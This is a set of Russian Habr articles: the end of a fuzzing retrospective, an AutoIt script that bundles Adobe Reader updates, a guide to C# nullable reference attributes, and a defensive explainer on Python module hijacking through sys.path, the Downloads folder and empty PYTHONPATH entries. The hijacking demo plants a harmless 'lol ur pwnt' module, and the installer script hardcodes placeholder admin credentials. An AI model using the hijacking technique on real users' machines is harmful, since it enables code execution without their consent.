[0] __assert_fail+0x41
[1] PL_put_term+0x18e
[2] PL_unify_text+0x1c4
…`
Аварийное завершение всегда плохо, но здесь хотя бы программа может заявить об ошибке, обваливаясь рано и громко.
Заключение
==========
В последние 30 лет фаззинг оставался простым и надёжным способом поиска багов. Хотя в [этой области](https://blog.trailofbits.com/2018/10/05/how-to-spot-good-fuzzing-research/) идут [активные исследования](https://blog.trailofbits.com/2017/02/16/the-smart-fuzzer-revolution/), даже фаззер 30-летней давности успешно находит ошибки в современных утилитах Linux.
Автор оригинальных статей предсказал проблемы безопасности, которые вызовет С в течение ближайших десятилетий. Он убедительно доказывает, что на C слишком легко написать небезопасный код и по возможности его следует избегать. В частности, статьи демонстрируют: баги проявляются даже при самом простом фазинге, и такое тестирование следует включить в стандартную практику разработки программного обеспечения. К сожалению, этому совету не следовали десятилетиями.
Надеюсь, вам понравилась эта 30-летняя ретроспектива. Ждите следующей статьи «Фаззинг в 2000 году», где мы исследуем, насколько устойчивы приложения Windows 10 по сравнению [с их эквивалентами Windows NT/2000 при проверке фаззером](http://www.cs.wisc.edu/~bart/fuzz/fuzz-nt.html). Думаю, ответ предсказуем. | https://habr.com/ru/post/435484/ | null | ru | null |
# Обновление одним файлом или объединяем несколько патчей
Большинство пользователей следят за обновлениями по безопасности и обновляют свои компьютеры и программы. Но как быть, если это локальная сеть, а интернет есть не у всех пользователей, а обновить Adobe продукты очень как хотелось бы? В данной статье будет расмотрено обновление для Adobe Reader 9.x для Microsoft Windows. На основе данного примера Вы сможете создавать и другие файлы обновлений для любых программ.
Исходные данные: у пользователей установлен/или не\_установлен Adobe Reader 9.x. Необходимо установить/обновить его до последней версии. Посетив официальный [сайт Adobe](http://get.adobe.com/reader/otherversions/), видим что последняя версия 9.4. Однако обновления имеются до [версии 9.4.7](http://www.adobe.com/support/downloads/product.jsp?product=10&platform=Windows). Скачивание инкрементальных патчей и применение по очередности позволит нам истратить много времени для установки на каждом компьютере. Мы будем создавать единый файл с установщикой, который будет так же включать в себя и все обновления с помощью [AutoIt.](http://www.autoitscript.com/).
Установив пакет Autoit и скачав с сайта Adobe файлы: AdbeRdr940\_ru\_RU.exe (последняя версия доступная в линейке 9.4.) и инкрементальные патчи-обновления: AdbeRdr94\*\_ru\_RU.exe, где \* число от 1 до 7 разместим их в папке c:\AutoItPhotoshop\.
Файл acrobat94sci.au3:
`#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_Run_Obfuscator=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#NoTrayIcon
; Включим интегрирование файлов
;Исходный файл будет упакован в наш архив и после запуска скрипта распакован в папку c:\temp
;Создадим папку
DirCreate("c:\temp")
$b = True
If $b = True Then FileInstall("C:\AutoItPhotoshop\AdbeRdr940_ru_RU.exe", "c:\temp\AdbeRdr940_ru_RU.exe")
If $b = True Then FileInstall("C:\AutoItPhotoshop\AdbeRdrUpd941_all_incr.msp","c:\temp\AdbeRdrUpd941_all_incr.msp")
If $b = True Then FileInstall("C:\AutoItPhotoshop\AdbeRdrUpd942_all_incr.msp","c:\temp\AdbeRdrUpd942_all_incr.msp")
If $b = True Then FileInstall("C:\AutoItPhotoshop\AdbeRdrUpd943_all_incr.msp","c:\temp\AdbeRdrUpd943_all_incr.msp")
if $b = True Then FileInstall("C:\AutoItPhotoshop\AdbeRdrUpd944_all_incr.msp","c:\temp\AdbeRdrUpd944_all_incr.msp")
If $b = True Then FileInstall("C:\AutoItPhotoshop\AdbeRdrUpd945_all_incr.msp","c:temp\AdbeRdrUpd945_all_incr.msp")
If $b = True Then FileInstall("C:\AutoItPhotoshop\AdbeRdrUpd946_all_incr.msp","c:\temp\AdbeRdrUpd946_all_incr.msp")
If $b = True Then FileInstall("C:\AutoItPhotoshop\AdbeRdrUpd947_all_incr.msp","c:\temp\AdbeRdrUpd947_all_incr.msp")
If $b = True Then FileInstall("C:\AutoItPhotoshop\acrobat940-947.bat","c:\temp\acrobat940-947.bat")
;запустим обновление
RunAsWait("nameuser","namedomain","passworduser",2,"c:\temp\acrobat940-947.bat","c:\temp",@SW_HIDE)
;Т.е. запускаем от пользователя с правами администратора в домене файл acrobat940-947.bat
filedelete("c:\temp\acrobat940-947.bat"`
Осталось узнать содержимое файла acrobat940-947.bat, который тоже должен быть сохранен в папке C:\AutoItPhotoshop:
`AdbeRdr940_ru_RU.exe /sAll /rps /msi /qn
msiexec /update c:\temp\AdbeRdrUpd941_all_incr.msp /quiet /norestart
msiexec /update c:\temp\AdbeRdrUpd942_all_incr.msp /quiet /norestart
msiexec /update c:\temp\AdbeRdrUpd943_all_incr.msp /quiet /norestart
msiexec /update c:\temp\AdbeRdrUpd944_all_incr.msp /quiet /norestart
msiexec /update c:\temp\AdbeRdrUpd945_all_incr.msp /quiet /norestart
msiexec /update c:\temp\AdbeRdrUpd946_all_incr.msp /quiet /norestart
msiexec /update c:\temp\AdbeRdrUpd947_all_incr.msp /quiet /norestart
del c:\temp\AdbeRdr940_ru_RU.exe
del c:\temp\AdbeRdrUpd941_all_incr.msp
del c:\temp\AdbeRdrUpd942_all_incr.msp
del c:\temp\AdbeRdrUpd943_all_incr.msp
del c:\temp\AdbeRdrUpd944_all_incr.msp
del c:\temp\AdbeRdrUpd945_all_incr.msp
del c:\temp\AdbeRdrUpd946_all_incr.msp
del c:\temp\AdbeRdrUpd947_all_incr.msp
rem del c:\temp\acrobat94sci.exe c:\temp\acrobat94sci.bak
del c:\temp\acrobat940-947.bat
rem del c:\temp\acrobat94sci.bak`
Сохраняем проект с именем acrobat94sci и в меню выбираем Tools-Compile и получаем скомпилированный файл acrobat94sci.exe (размером около 90 Мб), после запуска который распакует установщик Acrobat 9.4 и все инкриментальные патчи. Затем запустится скрипт установки, устанавливающий Reader и затем последовательно все инкрементальные патчи. Результат -у пользователей установлен Acrobat 9.4.7.
Остается только запустить наш файл на каждом компьютере (скопировать в локальную папку, либо запускать с сервера через групповую политику или Task задание).
Потратив несколько часов на создание данного мини-скрипта и его тестирование, мы сэкономили время, которое тратили бы на рутинную операцию установки на каждом компьютере. | https://habr.com/ru/post/135190/ | null | ru | null |
# Помоги компилятору, и он поможет тебе. Тонкости работы с nullable reference типами в C#
Nullable reference типы появились в C# 3 года назад. За это время они смогли найти свою аудиторию. Но даже те, кто имеет дело с этим зверем, скорее всего, не знают всех его возможностей. Давайте разберёмся, как более качественно взаимодействовать с этими типами.
### Введение
Nullable reference типы призваны помочь в создании более качественной и безопасной архитектуры приложения. На этапе написания кода необходимо понимать, будет ли та или иная ссылочная переменная принимать *null* или нет, может ли метод возвращать *null* и так далее.
Можно с уверенностью сказать о том, что каждый разработчик сталкивался с NRE (*NullReferenceException*). И то, что данное исключение будет получено на этапе разработки, – хороший сценарий, ведь проблему можно исправить сразу. Гораздо хуже, когда её находит пользователь при работе с продуктом. Nullable reference типы помогают защититься от NRE.
В этой статье я расскажу о ряде неочевидных возможностей, связанных с nullable reference типами. Но начать стоит с краткого описания этих типов.
### В двух словах о nullable reference
С точки зрения логики выполнения программы, nullable reference тип ничем не отличается от reference типа. Разница между ними лишь в особой аннотации, которая есть у первого. При помощи неё компилятор делает вывод о том, допустимо ли значение *null* для конкретной переменной или выражения. Чтобы использовать nullable reference типы, необходимо убедиться в том, что nullable-контекст включён для проекта или файла (как это сделать, будет описано далее).
Для объявления nullable reference переменной необходимо добавить '?' в конце имени типа.
Пример:
```
string? str = null;
```
Теперь переменная *str* может принимать *null*, и компилятор не будет выдавать предупреждение на данный код. Если не добавлять '?' при объявлении переменной и присвоить ей *null*, будет выдано предупреждение.
Существует возможность подавления предупреждений компилятора о возможной записи *null* в reference переменную, не помеченную как nullable.
Рассмотрим пример:
```
object? GetPotentialNull(bool flag)
{
return flag ? null : new object();
}
void Foo()
{
object obj = GetPotentialNull(false);
}
```
Переменной *obj* никогда не будет присвоено значение *null*, но компилятор не всегда это понимает. Подавить предупреждение можно следующим образом:
```
object obj = GetPotentialNull(false)!;
```
Используя оператор '!', мы "говорим" компилятору о том, что метод точно не вернёт *null*. Следовательно, предупреждений на данный участок кода не будет.
Функционал, доступный при работе с nullable reference типами, не ограничен объявлением переменных такого типа (использование '?') и подавлением предупреждений с помощью '!'. Дальше я рассмотрю наиболее интересные возможности при работе с ними.
### Управление nullable-контекстом
Существует ряд механизмов для более гибкой работы с nullable reference типами. Разберём некоторые из них.
#### Управление с помощью атрибутов
При помощи атрибутов можно указать компилятору null-состояние различных элементов. Здесь будут рассмотрены наиболее интересные из них. С полным списком атрибутов можно ознакомиться [в документации](https://learn.microsoft.com/ru-ru/dotnet/csharp/language-reference/attributes/nullable-analysis).
Для более простого изложения мыслей введём термин null-состояния. null-состояние – информация о том, может ли переменная или выражение иметь значение *null* в данный момент.
### AllowNull
Разберём работу этого атрибута на примере:
```
public string Name
{
get => _name;
set => _name = value ?? "defaultName";
}
private string _name;
```
Если записать в свойство *Name* значение *null*, то компилятор выдаст предупреждение: *Cannot convert null literal to non-nullable reference type*. Но из реализации свойства видно, что оно предполагает возможность записи *null*. В этом случае полю *\_name* присваивается строка "defaultName".
Если к типу свойства просто добавить '?', то компилятор будет считать, что:
* set-аксессор может принимать *null* (это корректно);
* get-аксессор может вернуть *null* (это ошибочно).
Для корректной реализации стоит разметить свойство атрибутом *AllowNull*:
```
[AllowNull]
public string Name
```
После этого компилятор будет считать, что в *Name* допустимо присваивание *null*, хотя тип свойства не помечен как nullable. Если присвоить значение этого свойства переменной, не допускающей значение *null*, то предупреждений возникать не будет.
### NotNullWhen
Представим ситуацию, когда есть метод, который проверяет переменную на *null*. В зависимости от результата этой проверки он возвращает значение типа *bool*. Такой метод информирует нас о null-состоянии переменной.
Рассмотрим синтетический пример:
```
bool CheckNotNull(object? obj)
{
return obj != null;
}
```
Данный метод проверяет параметр *obj* на *null* и возвращает значение типа *bool* в зависимости от результата этой проверки.
Используем результат работы этого метода в условии:
```
public void Foo(object? obj1)
{
object obj2 = new object();
if (CheckNotNull(obj1))
obj2 = obj1;
}
```
На этот код компилятор выдаст предупреждение: *Converting null literal or possibly null value to non-nullable type*. Но такой сценарий невозможен, так как условие гарантирует, что в then-ветке *obj1* не *null*. Проблема в том, что компилятор этого не понимает, поэтому мы должны ему помочь.
Изменим сигнатуру метода *CheckNotNull*, добавив туда атрибут *NotNullWhen*:
```
bool CheckNotNull([NotNullWhen(true)]object? obj)
```
Этот атрибут принимает в качестве первого аргумента значение типа *bool*. При помощи *NotNullWhen* мы связываем null-состояние аргумента с возвращаемым значением метода. В данном случае мы "говорим" компилятору, что если метод вернёт *true*, то аргумент имеет значение, отличное от *null*.
Существует особенность, связанная с этим атрибутом.
Рассмотрим несколько примеров:
**Использование модификатора *out***
```
bool GetValidOrDefaultName([NotNullWhen(true)] out string? validOrDefaultName,
string name)
{
if (name == null)
{
validOrDefaultName = name;
return true;
}
else
{
validOrDefaultName = "defaultName";
return false;
}
}
```
Здесь компилятор выдаст предупреждение: *Parameter 'validOrDefaultName' must have a non-null value when exiting with 'true'*. Оно вполне оправдано, так как в условии вместо оператора '!=' используется '=='. В данной реализации метод возвращает *true*, когда *validOrDefaultName* имеет значение *null*.
**Использование модификатора *ref***
```
bool SetDefaultIfNotValid([NotNullWhen(true)] ref string? name)
{
if (name == null)
return true;
name = "defaultName";
return false;
}
```
На данный код мы также получим предупреждение: *Parameter 'name' must have a non-null value when exiting with 'true'*. Аналогично предыдущему примеру предупреждение обосновано. Вместо оператора '!=' используется '=='.
**Без использования модификатора**
```
bool CheckingForNull([NotNullWhen(true)] string? name)
{
if (name == null)
return true;
Console.WriteLine("name is null");
return false;
}
```
Ситуация схожа с предыдущими кейсами. Если *name* равняется *null*, то метод возвращает *true*. Следуя логике прошлых примеров, здесь тоже должно быть выдано предупреждение: *Parameter 'name' must have a non-null value when exiting with 'true'*. Однако его нет. Тяжело сказать, чем это обусловлено, но выглядит странно.
### NotNullIfNotNull
Данный атрибут позволяет установить связь между аргументом и возвращаемым значением метода. Если аргумент не *null*, то возвращаемое значение тоже не *null*, и наоборот.
Рассмотрим пример:
```
public string? GetString(object? obj)
{
return obj == null ? null : string.Empty;
}
```
Метод *GetString* возвращает *null* или пустую строку в зависимости от null-состояния аргумента.
Использование этого метода:
```
public void Foo(object? obj)
{
string str = string.Empty;
if(obj != null)
str = GetString(obj);
}
```
Предупреждение компилятора на данный код: *Converting null literal or possibly null value to non-nullable type*. В данном случае он лжёт. Присваивание производится в теле *if*, условие которого гарантирует, что *GetString* не вернёт *null*. Чтобы помочь компилятору, добавим атрибут *NotNullIfNotNull* для возвращаемого значения метода:
```
[return: NotNullIfNotNull("obj")]
public string? GetString(object? obj)
```
**Примечание.** Начиная с C# 11, получить имя параметра можно с помощью выражения *nameof.* В данном случае было бы *nameof(obj)*.
Атрибут *NotNullIfNotNull* в качестве первого аргумента принимает значение типа *string* – имя параметра, на основании null-состояния которого задаётся null-состояние возвращаемого значения. Теперь компилятор имеет информацию о связи между *obj* и возвращаемым значением метода: если *obj* не *null*, то и возвращаемое значение метода не будет *null,* и наоборот.
### MemberNotNull
Начнём с примера:
```
class Person
{
private string _name;
public Person()
{
SetDefaultName();
}
private void SetDefaultName()
{
_name = "Bob";
}
}
```
На этот код компилятор выдаст предупреждение: *Non-nullable field '\_name' must contain a non-null value when exiting constructor. Consider declaring the field as nullable*. Однако в теле конструктора вызывается метод *SetDefaultName*, который и инициализирует единственное поле класса. Значит, сообщение компилятора является ложным. Решить проблему позволяет атрибут *MemberNotNull*:
```
[MemberNotNull(nameof(_name))]
private void SetDefaultName()
```
Этот атрибут принимает аргумент типа *string[]* c ключевым словом *params*. Строки должны соответствовать именам членов, которые инициализируются в методе.
Таким образом, мы указываем, что после вызова этого метода значение поля *\_name* не будет равно *null*. Теперь компилятор может понять, что поле было инициализировано в конструкторе.
### MemberNotNullWhen
Разберём следующий пример:
```
class Person
{
static readonly Regex _nameReg = new Regex(@"^I'm \w*");
private string _name;
public Person(string name)
{
if (!TryInitialize(name))
_name = "invalid name";
}
private bool TryInitialize(string name)
{
if (_nameReg.IsMatch(name))
{
_name = name;
return true;
}
else
return false;
}
}
```
*TryInitialize* будет инициализировать *\_name*, если значение аргумента соответствует некоторому паттерну. Метод возвращает *true*, когда поле было инициализировано, в противном случае возвращается *false*. В зависимости от результата выполнения *TryInitialize* в конструкторе присваивается значение полю *\_name*. В данной реализации *\_name* **не может** быть не проинициализировано в конструкторе. Однако компилятор выдаст предупреждение: *Non-nullable field '\_name' must contain a non-null value when exiting constructor. Consider declaring the field as nullable*.
Для исправления ситуации необходимо добавить атрибут *MemberNotNullWhen*:
```
[MemberNotNullWhen(true, nameof(_name))]
private bool TryInitialize(string name)
```
Тип первого аргумента – *bool*, второго – *string[]* (с ключевым словом *params*). Атрибут применяется для методов с возвращаемым значением типа *bool*. Логика проста: если метод возвращает значение, которое соответствует первому аргументу атрибута, то члены класса, переданные в *params*, будут считаться инициализированными.
### DoesNotReturn и DoesNotReturnIf
Нередко приходится создавать методы, которые выбрасывают исключения, если что-то пошло не по плану. К сожалению, компилятор не всегда может понять, что выполнение программы будет завершено после вызова такого метода.
Рассмотрим пример:
```
private void ThrowException()
{
throw new Exception();
}
void Foo(string? str)
{
if (str == null)
ThrowException();
string notNullStr = str;
}
```
На данный код компилятор выдаст предупреждение: *Converting null literal or possibly null value to non-nullable type*. Однако, если *str* – *null*, выполнение метода не дойдёт до участка кода с присваиванием, так как будет выброшено исключение. Таким образом, в момент присваивания переменная *str* не может быть равна *null*.
Атрибут *DoesNotReturn* позволяет указать компилятору, что после выполнения метода, отмеченного атрибутом, выполнение вызывающего метода прекратится.
Добавим атрибут для *ThrowException*:
```
[DoesNotReturn]
private void ThrowException()
```
Теперь компилятор знает, что после вызова этого метода управление не будет возвращено в вызывающий. Следовательно, в *notNullStr* никогда не будет записан *null*.
Атрибут *DoesNotReturnIf* работает схоже с *DoesNotReturn* за исключением проверки дополнительного условия.
Рассмотрим пример:
```
private void ThrowException([DoesNotReturnIf(true)] bool flag)
{
if(flag)
throw new Exception();
}
```
Компилятор будет считать, что *throwException* не вернёт управление в вызывающий метод, если параметр *flag* принимает значение *true*.
#### Управление на уровне проекта
Чтобы изменить nullable-контекст на уровне проекта, необходимо открыть свойства проекта и в разделе "Build" выбрать и интересующий контекст.
Задать nullable-контекст можно в проектном файле (.csproj). Нужно открыть этот файл и записать значение в свойство *Nullable*:
```
Exe
net6.0
enable
disable //<=
```
Скорее всего, многим известно, что nullable-контекст можно включать и выключать. Соответственно, если его необходимо включить, то используется *enable*, если требуется выключить – *disable*. Действительно, всё работает именно так, но есть ещё два варианта контекста.
### Warnings
Поведение в контексте предупреждений:
* знак '?' никак не влияет на анализ;
* с точки зрения компилятора все значения ссылочного типа по умолчанию могут иметь значение *null*;
* если записать знак '?', компилятор выдаст предупреждение о том, что в данном контексте он не должен быть использован;
* компилятор будет выдавать предупреждение только на те участки кода, где разыменовывается нулевая ссылка;
* можно указывать на то, что выражение не равно *null* c помощью оператора '!'.
Этот режим поможет защититься от исключений типа *NullReferenceException*. Он информирует о разыменовании нулевых ссылок.
### Annotations
Поведение в контексте аннотаций:
* отсутствуют предупреждения, связанные с разыменованием нулевых ссылок и ошибками при работе с nullable reference;
* при использовании '?' и '!' компилятор не выдаёт предупреждений.
Данный режим поможет осуществить плавный вход в использование nullable reference типов в проекте. Он позволяет размечать переменные, допускающие и не допускающие значение *null*.
#### Управление с помощью директив компиляции
Директивы компиляции используются на уровне файла с расширением .cs и позволяют изменить состояния nullable-контекста для участка кода в нём. Принцип работы аналогичен тому, что был описан в предыдущем разделе. Каждая директива начинается с '#'.
Рассмотрим все возможные директивы:
* #nullable disable – отключает nullable-контекст;
* #nullable enable – включает nullable-контекст;
* #nullable restore – возвращает nullable-контекст к его значению на уровне проекта;
* #nullable disable annotations – отключает контекст аннотаций;
* #nullable enable annotations – включает контекст аннотаций;
* #nullable restore annotations – возвращает контекст аннотаций к его значению на уровне проекта;
* #nullable disable warnings – отключает контекст предупреждений;
* #nullable enable warnings – включает контекст предупреждений;
* #nullable restore warnings – возвращает контекст предупреждений к его значению на уровне проекта.
По сути, значение *enable* представляет собой включённый контекст аннотаций и контекст предупреждений, а *disable* – наоборот, эти же контексты в выключенном состоянии. Таким образом, директива '#nullable enable' будет эквивалентна написанным вместе '#nullable enable annotations' и '#nullable enable warnings'.
Можно использовать сразу несколько директив в одном файле. Это позволит задавать разный nullable-контекст для разных фрагментов кода.
Рассмотрим пример такого использования (на уровне проекта nullable-контекст выключен):
```
.... // на данном участке кода nullable-контекст отключен
#nullable enable warnings
.... // на данном участке кода включен контекст предупреждений
#nullable enable annotations
.... // на данном участке кода включен контекст
// предупреждений и аннотаций
#nullable disable annotations
.... // на данном участке кода включен только контекст предупреждений
#nullable restore
.... // на данном участке кода nullable-контекст отключен
// (так как свойство Nullable – disable)
```
### Заключение
В заключение хотелось бы сказать, что возможность использования nullable reference типов должна принести немало пользы разработчикам. Эти типы позволяют сделать приложение более безопасными и правильными с точки зрения архитектуры.
Данный механизм также не лишён недостатков. О них, да и в целом о nullable reference типах, рассказывали в статьях: [раз](https://pvs-studio.com/ru/blog/posts/csharp/0631/?utm_source=website&utm_medium=habr&utm_campaign=article&utm_content=1017&utm_term=0631), [два](https://pvs-studio.com/ru/blog/posts/csharp/0764/?utm_source=website&utm_medium=habr&utm_campaign=article&utm_content=1017&utm_term=0764). Возможность добавления атрибутов имеет смысл во многом из-за несовершенства используемого статического анализатора. Поэтому необходимо добавлять аннотации на методы, поля и т. д. вручную, т. к. анализатор не может понять некоторые связи. Например, связь между возвращаемым значением метода и null-состоянием переменной.
Ряд недостатков обусловлен недостаточно глубоким анализом. Такой анализ нельзя произвести на лету, как это происходит при использовании nullable-контекста. С другой стороны, это и не требуется. nullable-контекст хорошо помогает в процессе написания кода. Когда часть функционала уже готова и её необходимо протестировать, следует использовать инструменты для более глубокого анализа – например, PVS-Studio.
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikita Panevin. [Help the compiler, and the compiler will help you. Subtleties of working with nullable reference types](https://pvs-studio.com/en/blog/posts/csharp/1017/). | https://habr.com/ru/post/706376/ | null | ru | null |
# Как защитить Python-приложения от внедрения вредоносных скриптов
Python-приложения используют множество скриптов. Этим и пользуются злоумышленники, чтобы подложить нам «свинью» — туда, где мы меньше всего ожидаем её увидеть.
Одним из достоинств Python считается простота использования: чтобы запустить скрипт, нужно просто сохранить его в `.py`-файле и выполнить команду `python с этим файлом (например, python my_file.py)`. Так же легко разбить наш файл, например, на модули `my_app.py` и `my_lib.py` и далее для подключения модулей использовать конструкцию `import...from: import my_lib from my_app.py`.
Однако у этой простоты и лёгкости есть и обратная сторона: чем проще вам выполнять код из разных локаций, тем больше у злоумышленника возможностей для вмешательства.
Python-код нужно размещать в безопасных местах
----------------------------------------------
Модель безопасности Python основана на трёх принципах:
1. Предполагается, что каждая запись в sys.path должна указывать на надёжную локацию, откуда можно безопасно выполнять произвольный код.
2. Каталог, в котором находится главный скрипт (main), всегда указан в sys.path.
3. При вызове команды `python` текущий каталог рассматривается как локация главного скрипта, даже с параметрами `-c` или `-m`.
Предположим, вы хотите запустить Python-приложение, которое было «правильно» установлено на вашу машину. В этом случае единственная локация (кроме папки с установленным Python), которая будет автоматически добавлена в ваш sys.path по умолчанию, — это папка с главным скриптом или исполняемым файлом.
Например, если `pip` находится в `/usr/bin`, и вы запускаете `/usr/bin/pip`, то в `sys.path` будет добавлен только `/usr/bin`. Записывать файлы в /usr/bin может только root, поэтому эта локация считается безопасной.
Тем не менее, [соглашения](https://bugs.python.org/issue22295) предписывают нам поступать таким образом: `/path/to/python -m pip`. Это позволяет избежать проблем с `$PATH` и противоречий с документацией для Windows.
В общем, всё и так будет хорошо, если только у вас одного есть полномочия добавлять и редактировать файлы в директориях, из которых Python берёт модули для импорта.
Папка Downloads — уязвимая локация
----------------------------------
Существует множество способов заставить браузеры (а иногда и другое программное обеспечение) поместить файлы с произвольными именами в папку Downloads («Загрузки») без ведома пользователя. Эту уязвимость использует атака под названием «Подмена DLL». В нашем случае речь пойдёт о скриптах Python, но идея та же самая.
Браузеры стали более серьёзно относиться к этому и постепенно пытаются сделать так, чтобы посещённые пользователем сайты не могли тайно сбрасывать файлы в его папку Downloads.
Однако эту проблему будет очень трудно решить полностью: например, всё ещё доступен параметр [`Content-Disposition HTTP header’s filename*`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition#Directives), который позволяет сайтам выбрать каталог для размещения загруженных файлов.
Как работает атака
------------------
Вы запускаете установку: `python -m pip`. Вы загружаете пакет Python с вполне заслуживающего доверия веб-сайта, который, правда, по какой-то причине предлагает загрузку напрямую, а не через PyPI. Может быть, это какая-то внутренняя версия, может быть, это предварительный релиз — без разницы. Итак к вам отправляется `totally-legit-package.whl`:
```
~$ cd Downloads
~/Downloads$ python -m pip install ./totally-legit-package.whl
```
Вроде бы ничего страшного, но, оказывается, две недели назад на совершенно другом сайте, который вы посетили, какой-то XSS JavaScript без вашего ведома загрузил pip.py с вредоносными программами в вашу папку Downloads.
Бум!
Авария!
-------
```
~$ mkdir attacker_dir
~$ cd attacker_dir
~/attacker_dir$ echo 'print("lol ur pwnt")' > pip.py
~/attacker_dir$ python -m pip install requests
lol ur pwnt
```
Странное поведение `PYTHONPATH`
-------------------------------
Несколькими абзацами выше я писал:
> единственная локация (кроме папки с установленным Python), которая будет автоматически добавлена в ваш sys.path по умолчанию, — это папка с главным скриптом или исполняемым файлом.
Так, а что здесь делает словосочетание «по умолчанию»? Какие ещё локации можно добавить?
В принципе в переменную окружения `[$PYTHONPATH](https://docs.python.org/3/using/cmdline.html#envvar-PYTHONPATH)` можно записать что угодно. Но вы бы не стали записывать свою текущую локацию в `$PYTHONPATH`, правда?
К сожалению, существует ситуация, при которой вы могли бы сделать это случайно.
Давайте для иллюстрации набросаем «уязвимое» Python-приложение:
```
# tool.py
try:
import optional_extra
except ImportError:
print("extra not found, that's fine")
```
Создадим 2 директории: `install_dir` и `attacker_dir`. Провалимся в `install_dir`, затем выполним `cd attacker_dir` и разместим там наш вредоносный код по названием `tool.py`:
```
# optional_extra.py
print("lol ur pwnt")
```
Останется только запустить его:
```
~/attacker_dir$ python ../install_dir/tool.py
extra not found, that's fine
```
Пока всё идёт неплохо.
Но сейчас мы увидим распространённую ошибку. Многие рекомендуют добавить в `$PYTHONPATH` ещё [кое-что](https://askubuntu.com/a/250935):
```
export PYTHONPATH="/new/useful/stuff:$PYTHONPATH";
```
На первый взгляд, это имеет смысл: если ты добавляешь проект X в `$PYTHONPATH`, возможно, по проекту Y туда тоже что-то добавили, а может, и нет; в любом случае вам бы не хотелось затереть изменения, связанные с другими проектами. Особенно это важно, когда вы пишите документацию, которую будут использовать много людей.
И вот теперь мы сталкиваемся со «странным» поведением `$PYTHONPATH`. Если до первого запуска `$PYTHONPATH` была пуста или не установлена, в ней появится пустая строка, которая будет распознана как текущий каталог. Проверим это:
```
~/attacker_dir$ export PYTHONPATH="/a/perfectly/safe/place:$PYTHONPATH";
~/attacker_dir$ python ../install_dir/tool.py
lol ur pwnt
```
Для пущей безопасности давайте сделаем `$PYTHONPATH` пустой и попробуем ещё раз:
```
~/attacker_dir$ export PYTHONPATH="";
~/attacker_dir$ python ../install_dir/tool.py
lol ur pwnt
```
Точно, это совсем не безопасно!
И ещё: оказывается, ситуации, когда переменная `$PYTHONPATH` пуста и когда переменная `$PYTHONPATH` не установлена, — это две разные истории:
```
os.environ.get("PYTHONPATH") == "" и os.environ.get("PYTHONPATH") == None.
```
Если вы хотите быть уверенными, что очистили `$PYTHONPATH`, используйте команду `unset`:
```
~/attacker_dir$ python ../install_dir/tool.py
extra not found, that's fine
```
Вообще, запись в переменную `$PYTHONPATH` — был самым распространённым способом настройки окружения для работы Python-приложений. К счастью, он вышел из моды с появлением виртуальных окружений и virtualenv. Если у вас старая конфигурация, которая что-то пишет в `$PYTHONPATH`, но вы можете обойтись без этого, то сейчас самое время удалить её.
Если по каким-то причинам вы этого сделать не можете, то используйте [лайфхак](https://unix.stackexchange.com/a/162893/3273):
```
export PYTHONPATH="${PYTHONPATH:+${PYTHONPATH}:}new_entry_1"
export PYTHONPATH="${PYTHONPATH:+${PYTHONPATH}:}new_entry_2"
```
В bash и zsh это даст вот такой результат:
```
$ echo "${PYTHONPATH}"
new_entry_1:new_entry_2
```
Ну вот, теперь нет никаких лишних двоеточий и пустых записей.
И в конце: если вы всё ещё работаете с `$PYTHONPATH`, используйте абсолютные пути. Всегда!
Проблема гораздо серьёзнее
--------------------------
Существует несколько вариантов опасного развития событий, связанных с запуском Python-файлов из папки Downloads:
* Запуск python `~/Downloads/anything.py` (даже если сам `anything.py` безопасен). Ваша папка Downloads будет добавлена в `sys.path`.
* После запуска `jupyter notebook ~/Downloads/anything.ipynb` папка Downloads также будет добавлена в `sys.path`.
Поэтому перед запуском файлы .py и .ipynb лучше убрать из этой папки.
Выполнение `cd Downloads` и последующий запуск `python -c` с инструкцией `import` внутри или интерактивный запуск `python` с последующим импортом не решают проблему до конца, если импортируемые файлы лежат в папке Downloads.
К сожалению, `~/Downloads/` не единственная локация, которая может содержать вредоносные файлы. Например, если вы администрируете сервер на который пользователи могут загружать файлы, проверьте, чтобы никто и ничто не могло запустить `cd public_uploads` перед запуском команды `python`.
В этом случае, возможно, стоит предусмотреть, чтобы код, который обрабатывает загрузку файлов, добавлял к их именам `.uploaded`. Это поможет избежать незапланированного выполнения скриптов `.py`.
Предостережения
---------------
Если у вас есть приложения, написанные на Python, которые вы хотите использовать, находясь в папке Downloads, возьмите за правило вводить путь к скрипту (`/ path / to / venv / bin / pip`), а не к модулю (`/ path / to / venv / bin / python -m pip`).
В общем, просто избегайте использования Downloads в качестве текущего рабочего каталога и любые скрипты, которые вы хотите использовать, перед запуском переместите в более подходящее место.
Важно понимать, откуда Python берёт код, который будет выполнять. Позволить кому-либо выполнить хотя бы одну строку левого Python-скрипта равносильно предоставлению полного контроля над вашим компьютером!
Производственная необходимость
------------------------------
Читая такую статью с «советами и лайфхаками» по безопасности очень легко предположить, что автор очень умён, знает кучу мелочей, которую и другие должны знать и постоянно думать об этом. Но на самом деле, это не совсем так. Я объясню.
За многие годы работы я с завидной периодичностью наблюдал, как пользователи не понимали, откуда Python загружает код. Например, люди помещают свою первую программу, использующую Twisted, в файл с именем twisted.py. Но ведь в этом случае импорт библиотеки просто невозможен!
Киберпреступники радуются намного больше, если они смогли успешно атаковать системных администраторов или разработчиков. Если вы взломаете пользователя, то получите данные этого пользователя. Но если вы взломаете администратора или разработчика и сделаете это правильно, то вы можете получить доступ к тысячам пользователей, чьи системы находятся под контролем администратора, или даже миллионам пользователей, которые используют программное обеспечение разработчиков.
Поэтому «просто всё время будь осторожнее» не является надёжным рецептом. Те ИТ-специалисты, которые несут ответственность за продукты с большим количеством пользователей, действительно обязаны быть более осторожными. По крайней мере, должны быть проинформированы об особенностях работы тех или иных инструментов разработки.
Баг или фича...
---------------
Ничего из того, что я описал выше, на самом деле не является настоящей «ошибкой» или «уязвимостью». Я не думаю, что разработчики Python или Jupyter сделали что-то по ошибке. Система работает так, как она спроектирована, и это, наверное, можно объяснить. Лично у меня нет идей, как можно что-то в ней изменить, не урезая ту мощь Python, за которую мы так его ценим.
